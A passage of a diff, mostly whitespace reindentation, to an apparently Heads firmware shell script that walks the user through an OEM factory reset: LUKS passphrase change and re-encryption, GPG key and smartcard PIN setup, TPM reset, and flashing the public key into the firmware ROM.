Setting GPG_ALGO to: $GPG_ALGO" - fi + TRACE_FUNC + + enable_usb + # ... first set board config preference + if [ -n "$CONFIG_GPG_ALGO" ]; then + GPG_ALGO=$CONFIG_GPG_ALGO + DEBUG "Setting GPG_ALGO to (board-)configured: $CONFIG_GPG_ALGO" + fi + # ... overwrite with usb-token capability + if lsusb | grep -q "20a0:42b2"; then + GPG_ALGO="p256" + DEBUG "Nitrokey 3 detected: Setting GPG_ALGO to: $GPG_ALGO" + fi } ## main script start # check for args if [ "$1" != "" ]; then - title_text=$1 + title_text=$1 else - title_text="OEM Factory Reset / Re-Ownership" + title_text="OEM Factory Reset / Re-Ownership" fi if [ "$2" != "" ]; then - bg_color=$2 + bg_color=$2 else - bg_color="" + bg_color="" fi # show warning prompt if [ "$CONFIG_TPM" = "y" ]; then - TPM_STR=" * ERASE the TPM and own it with a password\n" + TPM_STR=" * ERASE the TPM and own it with a password\n" else - TPM_STR="" + TPM_STR="" fi if ! whiptail_warning --yesno " This operation will automatically:\n @@ -873,8 +873,8 @@ $TPM_STR * Sign all of the files in /boot with the new GPG key\n\n It requires that you already have an OS installed on a\n dedicated /boot partition. Do you wish to continue?" \ - $HEIGHT $WIDTH $CONTINUE $CANCEL $CLEAR --title "$title_text"; then - exit 1 + $HEIGHT $WIDTH $CONTINUE $CANCEL $CLEAR --title "$title_text"; then + exit 1 fi #Make sure /boot is mounted if board config defines default @@ -891,191 +891,191 @@ echo -e -n "Would you like to use default configuration options?\nIf N, you will read -n 1 use_defaults if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then - #Give general guidance to user on how to answer prompts - echo - echo "****************************************************" - echo "**** Factory Reset / Re-Ownership Questionnaire ****" - echo "****************************************************" - echo "The following questionnaire will help you configure the security components of your system." - echo "Each prompt requires a single letter answer: eg. (Y/n)." - echo -e "If you don't know what to answer, pressing Enter will select the default answer for that prompt: eg. Y, above.\n" - - # Re-ownership of LUKS encrypted Disk: key, content and passphrase - echo -e -n "\n\nWould you like to change the current LUKS Disk Recovery Key passphrase?\n (Highly recommended if you didn't install the Operating System yourself, so that past configured passphrase would not permit to access content.\n Note that without re-encrypting disk, a backed up header could be restored to access encrypted content with old passphrase) [y/N]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ]; then - luks_new_Disk_Recovery_Key_passphrase_desired=1 - echo -e "\n" - fi - - echo -e -n "Would you like to re-encrypt LUKS encrypted container and generate new LUKS Disk Recovery Key?\n (Highly recommended if you didn't install the operating system yourself: this would prevent any LUKS backed up header to be restored to access encrypted data) [y/N]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ]; then - TRACE_FUNC - test_luks_current_disk_recovery_key_passphrase - luks_new_Disk_Recovery_Key_desired=1 - echo -e "\n" - fi - - #Prompt to ask if user wants to generate GPG key material in memory or on smartcard - echo -e -n "Would you like to format an encrypted USB Thumb drive to store GPG key material?\n (Required to enable GPG authentication) [y/N]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ] \ - ; then - GPG_GEN_KEY_IN_MEMORY="y" - echo " ++++ Master key and subkeys will be generated in memory, backed up to dedicated LUKS container +++" - echo -e -n "Would you like in-memory generated subkeys to be copied to USB Security Dongle's smartcard?\n (Highly recommended so the smartcard is used on daily basis and backup is kept safe, but not required) [Y/n]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "n" \ - -o "$prompt_output" == "N" ]; then - warn "Subkeys will NOT be copied to USB Security Dongle's smartcard" - warn "Your GPG key material backup thumb drive should be cloned to a second thumb drive for redundancy for production environements" - GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="n" - else - echo "++++ Subkeys will be copied to USB Security Dongle's smartcard ++++" - warn "Please keep your GPG key material backup thumb drive safe" - GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="y" - fi - else - echo "GPG key material will be generated on USB Security Dongle's smartcard without backup" - GPG_GEN_KEY_IN_MEMORY="n" - GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="n" - fi - - # Dynamic messages to be given to user in terms of security components that will be applied - # based on previous answers - CUSTOM_PASS_AFFECTED_COMPONENTS="\n" - # Adapt message to be given to user in terms of security components that will be applied. - if [ -n "$luks_new_Disk_Recovery_Key_passphrase_desired" -o -n "$luks_new_Disk_Recovery_Key_passphrase" ]; then - CUSTOM_PASS_AFFECTED_COMPONENTS+="LUKS Disk Recovery Key passphrase\n" - fi - if [ "$CONFIG_TPM" = "y" ]; then - CUSTOM_PASS_AFFECTED_COMPONENTS+="TPM Owner Password\n" - fi - if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then - CUSTOM_PASS_AFFECTED_COMPONENTS+="GPG Key material backup passphrase (Same as GPG Admin PIN)\n" - fi - CUSTOM_PASS_AFFECTED_COMPONENTS+="GPG Admin PIN\n" - # Only show GPG User PIN as affected component if GPG_GEN_KEY_IN_MEMORY not requested or GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is - if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - CUSTOM_PASS_AFFECTED_COMPONENTS+="GPG User PIN\n" - fi - - # Inform user of security components affected for the following prompts - echo - echo -e "The following Security Components will be configured with defaults or further chosen PINs/passwords: + #Give general guidance to user on how to answer prompts + echo + echo "****************************************************" + echo "**** Factory Reset / Re-Ownership Questionnaire ****" + echo "****************************************************" + echo "The following questionnaire will help you configure the security components of your system." + echo "Each prompt requires a single letter answer: eg. (Y/n)." + echo -e "If you don't know what to answer, pressing Enter will select the default answer for that prompt: eg. Y, above.\n" + + # Re-ownership of LUKS encrypted Disk: key, content and passphrase + echo -e -n "\n\nWould you like to change the current LUKS Disk Recovery Key passphrase?\n (Highly recommended if you didn't install the Operating System yourself, so that past configured passphrase would not permit to access content.\n Note that without re-encrypting disk, a backed up header could be restored to access encrypted content with old passphrase) [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ]; then + luks_new_Disk_Recovery_Key_passphrase_desired=1 + echo -e "\n" + fi + + echo -e -n "Would you like to re-encrypt LUKS encrypted container and generate new LUKS Disk Recovery Key?\n (Highly recommended if you didn't install the operating system yourself: this would prevent any LUKS backed up header to be restored to access encrypted data) [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ]; then + TRACE_FUNC + test_luks_current_disk_recovery_key_passphrase + luks_new_Disk_Recovery_Key_desired=1 + echo -e "\n" + fi + + #Prompt to ask if user wants to generate GPG key material in memory or on smartcard + echo -e -n "Would you like to format an encrypted USB Thumb drive to store GPG key material?\n (Required to enable GPG authentication) [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ] \ + ; then + GPG_GEN_KEY_IN_MEMORY="y" + echo " ++++ Master key and subkeys will be generated in memory, backed up to dedicated LUKS container +++" + echo -e -n "Would you like in-memory generated subkeys to be copied to USB Security Dongle's smartcard?\n (Highly recommended so the smartcard is used on daily basis and backup is kept safe, but not required) [Y/n]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "n" \ + -o "$prompt_output" == "N" ]; then + warn "Subkeys will NOT be copied to USB Security Dongle's smartcard" + warn "Your GPG key material backup thumb drive should be cloned to a second thumb drive for redundancy for production environements" + GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="n" + else + echo "++++ Subkeys will be copied to USB Security Dongle's smartcard ++++" + warn "Please keep your GPG key material backup thumb drive safe" + GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="y" + fi + else + echo "GPG key material will be generated on USB Security Dongle's smartcard without backup" + GPG_GEN_KEY_IN_MEMORY="n" + GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD="n" + fi + + # Dynamic messages to be given to user in terms of security components that will be applied + # based on previous answers + CUSTOM_PASS_AFFECTED_COMPONENTS="\n" + # Adapt message to be given to user in terms of security components that will be applied. + if [ -n "$luks_new_Disk_Recovery_Key_passphrase_desired" -o -n "$luks_new_Disk_Recovery_Key_passphrase" ]; then + CUSTOM_PASS_AFFECTED_COMPONENTS+="LUKS Disk Recovery Key passphrase\n" + fi + if [ "$CONFIG_TPM" = "y" ]; then + CUSTOM_PASS_AFFECTED_COMPONENTS+="TPM Owner Password\n" + fi + if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then + CUSTOM_PASS_AFFECTED_COMPONENTS+="GPG Key material backup passphrase (Same as GPG Admin PIN)\n" + fi + CUSTOM_PASS_AFFECTED_COMPONENTS+="GPG Admin PIN\n" + # Only show GPG User PIN as affected component if GPG_GEN_KEY_IN_MEMORY not requested or GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is + if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then + CUSTOM_PASS_AFFECTED_COMPONENTS+="GPG User PIN\n" + fi + + # Inform user of security components affected for the following prompts + echo + echo -e "The following Security Components will be configured with defaults or further chosen PINs/passwords: $CUSTOM_PASS_AFFECTED_COMPONENTS\n" - # Prompt to change default passwords - echo -e -n "Would you like to set a single custom password to all previously stated security components? [y/N]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ]; then - echo -e "\nThe chosen custom password must be between 8 and $MAX_HOTP_GPG_PIN_LENGTH characters in length." - while [[ ${#CUSTOM_SINGLE_PASS} -lt 8 ]] || [[ ${#CUSTOM_SINGLE_PASS} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "Enter the custom password: " - read CUSTOM_SINGLE_PASS - done - echo - TPM_PASS=${CUSTOM_SINGLE_PASS} - USER_PIN=${CUSTOM_SINGLE_PASS} - ADMIN_PIN=${CUSTOM_SINGLE_PASS} - - # Only set if user said desired - if [ -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then - luks_new_Disk_Recovery_Key_passphrase=${CUSTOM_SINGLE_PASS} - fi - else - echo -e -n "Would you like to set distinct PINs/passwords to configure previously stated security components? [y/N]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ]; then - echo -e "\nThe TPM Owner Password and Admin PIN must be at least 8, the User PIN at least 6 characters in length.\n" - echo - if [ "$CONFIG_TPM" = "y" ]; then - while [[ ${#TPM_PASS} -lt 8 ]]; do - echo -e -n "Enter desired TPM Owner Password: " - read TPM_PASS - done - fi - while [[ ${#ADMIN_PIN} -lt 6 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" - echo -e -n "Enter desired GPG Admin PIN: " - read ADMIN_PIN - done - #USER PIN not required in case of GPG_GEN_KEY_IN_MEMORY not requested of if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is - # That is, if keys were NOT generated in memory (on smartcard only) or - # if keys were generated in memory but are to be moved from local keyring to smartcard - if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - while [[ ${#USER_PIN} -lt 6 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" - echo -e -n "Enter desired GPG User PIN: " - read USER_PIN - done - fi - echo - fi - fi - - if [ -n "$luks_new_Disk_Recovery_Key_passphrase_desired" -a -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then - # We catch here if changing LUKS Disk Recovery Key passphrase was desired - # but yet undone. This is if not being covered by the single password - echo -e "\nEnter desired replacement for current LUKS Disk Recovery Key passphrase (At least 8 characters long):" - while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do - { - read -r luks_new_Disk_Recovery_Key_passphrase - } - done - #We test that current LUKS Disk Recovery Key passphrase is known prior of going further - TRACE_FUNC - test_luks_current_disk_recovery_key_passphrase - echo -e "\n" - fi - - # Prompt to change default GnuPG key information - echo -e -n "Would you like to set custom user information for the GnuPG key? [y/N]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ]; then - echo -e "\n\n" - echo -e "We will generate a GnuPG (PGP) keypair identifiable with the following text form:" - echo -e "Real Name (Comment) email@address.org" - - echo -e "\nEnter your Real Name (Optional):" - read -r GPG_USER_NAME - - echo -e "\nEnter your email@adress.org:" - read -r GPG_USER_MAIL - while ! $(expr "$GPG_USER_MAIL" : '.*@' >/dev/null); do - { - echo -e "\nEnter your email@address.org:" - read -r GPG_USER_MAIL - } - done - - echo -e "\nEnter Comment (Optional, to distinguish this key from others with same previous attributes. Must be smaller then 60 characters):" - read -r GPG_USER_COMMENT - while [[ ${#GPG_USER_COMMENT} -gt 60 ]]; do - { - echo -e "\nEnter Comment (Optional, to distinguish this key from others with same previous attributes. Must be smaller then 60 characters):" - read -r GPG_USER_COMMENT - } - done - fi - - if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then - select_thumb_drive_for_key_material - fi + # Prompt to change default passwords + echo -e -n "Would you like to set a single custom password to all previously stated security components? [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ]; then + echo -e "\nThe chosen custom password must be between 8 and $MAX_HOTP_GPG_PIN_LENGTH characters in length." + while [[ ${#CUSTOM_SINGLE_PASS} -lt 8 ]] || [[ ${#CUSTOM_SINGLE_PASS} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + echo -e -n "Enter the custom password: " + read CUSTOM_SINGLE_PASS + done + echo + TPM_PASS=${CUSTOM_SINGLE_PASS} + USER_PIN=${CUSTOM_SINGLE_PASS} + ADMIN_PIN=${CUSTOM_SINGLE_PASS} + + # Only set if user said desired + if [ -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then + luks_new_Disk_Recovery_Key_passphrase=${CUSTOM_SINGLE_PASS} + fi + else + echo -e -n "Would you like to set distinct PINs/passwords to configure previously stated security components? [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ]; then + echo -e "\nThe TPM Owner Password and Admin PIN must be at least 8, the User PIN at least 6 characters in length.\n" + echo + if [ "$CONFIG_TPM" = "y" ]; then + while [[ ${#TPM_PASS} -lt 8 ]]; do + echo -e -n "Enter desired TPM Owner Password: " + read TPM_PASS + done + fi + while [[ ${#ADMIN_PIN} -lt 6 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + echo -e -n "Enter desired GPG Admin PIN: " + read ADMIN_PIN + done + #USER PIN not required in case of GPG_GEN_KEY_IN_MEMORY not requested of if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is + # That is, if keys were NOT generated in memory (on smartcard only) or + # if keys were generated in memory but are to be moved from local keyring to smartcard + if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then + while [[ ${#USER_PIN} -lt 6 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + echo -e -n "Enter desired GPG User PIN: " + read USER_PIN + done + fi + echo + fi + fi + + if [ -n "$luks_new_Disk_Recovery_Key_passphrase_desired" -a -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then + # We catch here if changing LUKS Disk Recovery Key passphrase was desired + # but yet undone. This is if not being covered by the single password + echo -e "\nEnter desired replacement for current LUKS Disk Recovery Key passphrase (At least 8 characters long):" + while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do + { + read -r luks_new_Disk_Recovery_Key_passphrase + } + done + #We test that current LUKS Disk Recovery Key passphrase is known prior of going further + TRACE_FUNC + test_luks_current_disk_recovery_key_passphrase + echo -e "\n" + fi + + # Prompt to change default GnuPG key information + echo -e -n "Would you like to set custom user information for the GnuPG key? [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ]; then + echo -e "\n\n" + echo -e "We will generate a GnuPG (PGP) keypair identifiable with the following text form:" + echo -e "Real Name (Comment) email@address.org" + + echo -e "\nEnter your Real Name (Optional):" + read -r GPG_USER_NAME + + echo -e "\nEnter your email@adress.org:" + read -r GPG_USER_MAIL + while ! $(expr "$GPG_USER_MAIL" : '.*@' >/dev/null); do + { + echo -e "\nEnter your email@address.org:" + read -r GPG_USER_MAIL + } + done + + echo -e "\nEnter Comment (Optional, to distinguish this key from others with same previous attributes. Must be smaller then 60 characters):" + read -r GPG_USER_COMMENT + while [[ ${#GPG_USER_COMMENT} -gt 60 ]]; do + { + echo -e "\nEnter Comment (Optional, to distinguish this key from others with same previous attributes. Must be smaller then 60 characters):" + read -r GPG_USER_COMMENT + } + done + fi + + if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then + select_thumb_drive_for_key_material + fi fi # If nothing is stored in custom variables, we set them to their defaults @@ -1086,49 +1086,49 @@ if [ "$ADMIN_PIN" == "" ]; then ADMIN_PIN=${ADMIN_PIN_DEF}; fi ## sanity check the USB, GPG key, and boot device before proceeding further if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" ]; then - # Prompt to insert USB drive if desired - echo -e -n "\nWould you like to export your public key to an USB drive? [y/N]: " - read -n 1 prompt_output - echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ] \ - ; then - GPG_EXPORT=1 - # mount USB over /media only if not already mounted - if ! grep -q /media /proc/mounts; then - # mount USB in rw - if ! mount-usb --mode rw 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Unable to mount USB on /media:\n\n${ERROR}" - fi - else - #/media already mounted, make sure it is in r+w mode - if ! mount -o remount,rw /media 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Unable to remount in read+write USB on /media:\n\n${ERROR}" - fi - fi - else - GPG_EXPORT=0 - # needed for USB Security Dongle below and is ensured via mount-usb in case of GPG_EXPORT=1 - enable_usb - fi + # Prompt to insert USB drive if desired + echo -e -n "\nWould you like to export your public key to an USB drive? [y/N]: " + read -n 1 prompt_output + echo + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ] \ + ; then + GPG_EXPORT=1 + # mount USB over /media only if not already mounted + if ! grep -q /media /proc/mounts; then + # mount USB in rw + if ! mount-usb --mode rw 2>/tmp/error; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Unable to mount USB on /media:\n\n${ERROR}" + fi + else + #/media already mounted, make sure it is in r+w mode + if ! mount -o remount,rw /media 2>/tmp/error; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Unable to remount in read+write USB on /media:\n\n${ERROR}" + fi + fi + else + GPG_EXPORT=0 + # needed for USB Security Dongle below and is ensured via mount-usb in case of GPG_EXPORT=1 + enable_usb + fi fi # ensure USB Security Dongle connected if GPG_GEN_KEY_IN_MEMORY=n or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD=y if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - echo -e "\nChecking for USB Security Dongle...\n" - enable_usb - if ! gpg --card-status >/dev/null 2>&1; then - local_whiptail_error "Can't access USB Security Dongle; \nPlease remove and reinsert, then press Enter." - if ! gpg --card-status >/dev/null 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Unable to detect USB Security Dongle:\n\n${ERROR}" - fi - fi - - #Now that USB Security Dongle is detected, we can check its capabilities and limitations - usb_security_token_capabilities_check + echo -e "\nChecking for USB Security Dongle...\n" + enable_usb + if ! gpg --card-status >/dev/null 2>&1; then + local_whiptail_error "Can't access USB Security Dongle; \nPlease remove and reinsert, then press Enter." + if ! gpg --card-status >/dev/null 2>/tmp/error; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Unable to detect USB Security Dongle:\n\n${ERROR}" + fi + fi + + #Now that USB Security Dongle is detected, we can check its capabilities and limitations + usb_security_token_capabilities_check fi assert_signable @@ -1143,37 +1143,37 @@ rm -rf /.gnupg/*.kbx /.gnupg/*.gpg >/dev/null 2>&1 || true # detect and set /boot device echo -e "\nDetecting and setting boot device...\n" if ! detect_boot_device; then - SKIP_BOOT="y" + SKIP_BOOT="y" else - echo -e "Boot device set to $CONFIG_BOOT_DEV\n" + echo -e "Boot device set to $CONFIG_BOOT_DEV\n" fi # update configs if [[ "$SKIP_BOOT" == "n" ]]; then - replace_config /etc/config.user "CONFIG_BOOT_DEV" "$CONFIG_BOOT_DEV" - combine_configs + replace_config /etc/config.user "CONFIG_BOOT_DEV" "$CONFIG_BOOT_DEV" + combine_configs fi if [ -n "$luks_new_Disk_Recovery_Key_desired" -a -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then - #Reencryption of disk, LUKS Disk Recovery Key and LUKS Disk Recovery Key passphrase change is requested - luks_reencrypt - luks_change_passphrase + #Reencryption of disk, LUKS Disk Recovery Key and LUKS Disk Recovery Key passphrase change is requested + luks_reencrypt + luks_change_passphrase elif [ -n "$luks_new_Disk_Recovery_Key_desired" -a -z "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then - #Reencryption of disk was requested but not passphrase change - luks_reencrypt + #Reencryption of disk was requested but not passphrase change + luks_reencrypt elif [ -z "$luks_new_Disk_Recovery_Key_desired" -a -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then - #Passphrase change is requested without disk reencryption - luks_change_passphrase + #Passphrase change is requested without disk reencryption + luks_change_passphrase fi ## reset TPM and set password if [ "$CONFIG_TPM" = "y" ]; then - echo -e "\nResetting TPM...\n" - tpmr reset "$TPM_PASS" >/dev/null 2>/tmp/error + echo -e "\nResetting TPM...\n" + tpmr reset "$TPM_PASS" >/dev/null 2>/tmp/error fi if [ $? -ne 0 ]; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Error resetting TPM:\n\n${ERROR}" + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Error resetting TPM:\n\n${ERROR}" fi # clear local keyring @@ -1184,24 +1184,24 @@ gpg --list-keys >/dev/null 2>&1 #Generate keys in memory and copy to smartcard if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then - if [ "$GPG_ALGO" == "RSA" ]; then - # Generate GPG master key - generate_inmemory_RSA_master_and_subkeys - elif [ "$GPG_ALGO" == "p256" ]; then - generate_inmemory_p256_master_and_subkeys - else - die "Unsupported GPG_ALGO: $GPG_ALGO" - fi - wipe_thumb_drive_and_copy_gpg_key_material "$thumb_drive" "$thumb_drive_luks_percent" - set_user_config "CONFIG_HAVE_GPG_KEY_BACKUP" "y" - if [ "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - keytocard_subkeys_to_smartcard - fi + if [ "$GPG_ALGO" == "RSA" ]; then + # Generate GPG master key + generate_inmemory_RSA_master_and_subkeys + elif [ "$GPG_ALGO" == "p256" ]; then + generate_inmemory_p256_master_and_subkeys + else + die "Unsupported GPG_ALGO: $GPG_ALGO" + fi + wipe_thumb_drive_and_copy_gpg_key_material "$thumb_drive" "$thumb_drive_luks_percent" + set_user_config "CONFIG_HAVE_GPG_KEY_BACKUP" "y" + if [ "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then + keytocard_subkeys_to_smartcard + fi else - #Generate GPG key and subkeys on smartcard only - echo -e "\nResetting USB Security Dongle's GPG smartcard...\n(this will take around 3 minutes...)\n" - gpg_key_factory_reset - generate_OEM_gpg_keys + #Generate GPG key and subkeys on smartcard only + echo -e "\nResetting USB Security Dongle's GPG smartcard...\n(this will take around 3 minutes...)\n" + gpg_key_factory_reset + generate_OEM_gpg_keys fi # Obtain GPG key ID @@ -1211,101 +1211,101 @@ PUBKEY="/tmp/${GPG_GEN_KEY}.asc" # export pubkey to file if ! gpg --export --armor "$GPG_GEN_KEY" >"${PUBKEY}" 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "GPG Key gpg export to file failed!\n\n$ERROR" + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "GPG Key gpg export to file failed!\n\n$ERROR" fi #Applying custom GPG PINs to the smartcard if they were provided if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - #Only apply smartcard PIN change if smartcard only or if keytocard op is expected next - if [ "${USER_PIN}" != "" -o "${ADMIN_PIN}" != "" ]; then - echo -e "\nChanging default GPG Admin PIN\n" - gpg_key_change_pin "3" "${ADMIN_PIN_DEF}" "${ADMIN_PIN}" - echo -e "\nChanging default GPG User PIN\n" - gpg_key_change_pin "1" "${USER_PIN_DEF}" "${USER_PIN}" - fi + #Only apply smartcard PIN change if smartcard only or if keytocard op is expected next + if [ "${USER_PIN}" != "" -o "${ADMIN_PIN}" != "" ]; then + echo -e "\nChanging default GPG Admin PIN\n" + gpg_key_change_pin "3" "${ADMIN_PIN_DEF}" "${ADMIN_PIN}" + echo -e "\nChanging default GPG User PIN\n" + gpg_key_change_pin "1" "${USER_PIN_DEF}" "${USER_PIN}" + fi fi ## export pubkey to USB if [ "$GPG_EXPORT" != "0" ]; then - echo -e "\nExporting generated key to USB...\n" - # copy to USB - if ! cp "${PUBKEY}" "/media/${GPG_GEN_KEY}.asc" 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Key export error: unable to copy ${GPG_GEN_KEY}.asc to /media:\n\n$ERROR" - fi - mount -o remount,ro /media 2>/dev/null + echo -e "\nExporting generated key to USB...\n" + # copy to USB + if ! cp "${PUBKEY}" "/media/${GPG_GEN_KEY}.asc" 2>/tmp/error; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Key export error: unable to copy ${GPG_GEN_KEY}.asc to /media:\n\n$ERROR" + fi + mount -o remount,ro /media 2>/dev/null fi # ensure key imported locally if ! cat "$PUBKEY" | DO_WITH_DEBUG gpg --import >/dev/null 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Error importing GPG key:\n\n$ERROR" + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Error importing GPG key:\n\n$ERROR" fi # update /.gnupg/trustdb.gpg to ultimately trust all user provided public keys if ! gpg --list-keys --fingerprint --with-colons 2>/dev/null | - sed -E -n -e 's/^fpr:::::::::([0-9A-F]+):$/\1:6:/p' | - gpg --import-ownertrust >/dev/null 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Error importing GPG ownertrust:\n\n$ERROR" + sed -E -n -e 's/^fpr:::::::::([0-9A-F]+):$/\1:6:/p' | + gpg --import-ownertrust >/dev/null 2>/tmp/error; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Error importing GPG ownertrust:\n\n$ERROR" fi if ! gpg --update-trust >/dev/null 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Error updating GPG ownertrust:\n\n$ERROR" + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error_die "Error updating GPG ownertrust:\n\n$ERROR" fi # Do not attempt to flash the key to ROM if we are running in QEMU based on CONFIG_BOARD_NAME matching glob pattern containing qemu-* # We check for qemu-* instead of ^qemu- because CONFIG_BOARD_NAME could be renamed to UNTESTED-qemu-* in a probable future if [[ "$CONFIG_BOARD_NAME" == qemu-* ]]; then - warn "Skipping flash of GPG key to ROM because we are running in QEMU without internal flashing support." - warn "Please review boards/qemu*/qemu*.md documentation to extract public key from raw disk and inject at build time" - warn "Also review boards/qemu*/qemu*.config to tweak CONFIG_* options you might need to turn on/off manually at build time" + warn "Skipping flash of GPG key to ROM because we are running in QEMU without internal flashing support." + warn "Please review boards/qemu*/qemu*.md documentation to extract public key from raw disk and inject at build time" + warn "Also review boards/qemu*/qemu*.config to tweak CONFIG_* options you might need to turn on/off manually at build time" else - #We are not running in QEMU, so flash the key to ROM - - ## flash generated key to ROM - echo -e "\nReading current firmware...\n(this will take a minute or two)\n" - /bin/flash.sh -r /tmp/oem-setup.rom >/dev/null 2>/tmp/error - if [ ! -s /tmp/oem-setup.rom ]; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error_die "Error reading current firmware:\n\n$ERROR" - fi - - # clear any existing heads/gpg files from current firmware - for i in $(cbfs.sh -o /tmp/oem-setup.rom -l | grep -e "heads/"); do - cbfs.sh -o /tmp/oem-setup.rom -d "$i" - done - # add heads/gpg files to current firmware - - if [ -e /.gnupg/pubring.kbx ]; then - cbfs.sh -o /tmp/oem-setup.rom -a "heads/initrd/.gnupg/pubring.kbx" -f /.gnupg/pubring.kbx - if [ -e /.gnupg/pubring.gpg 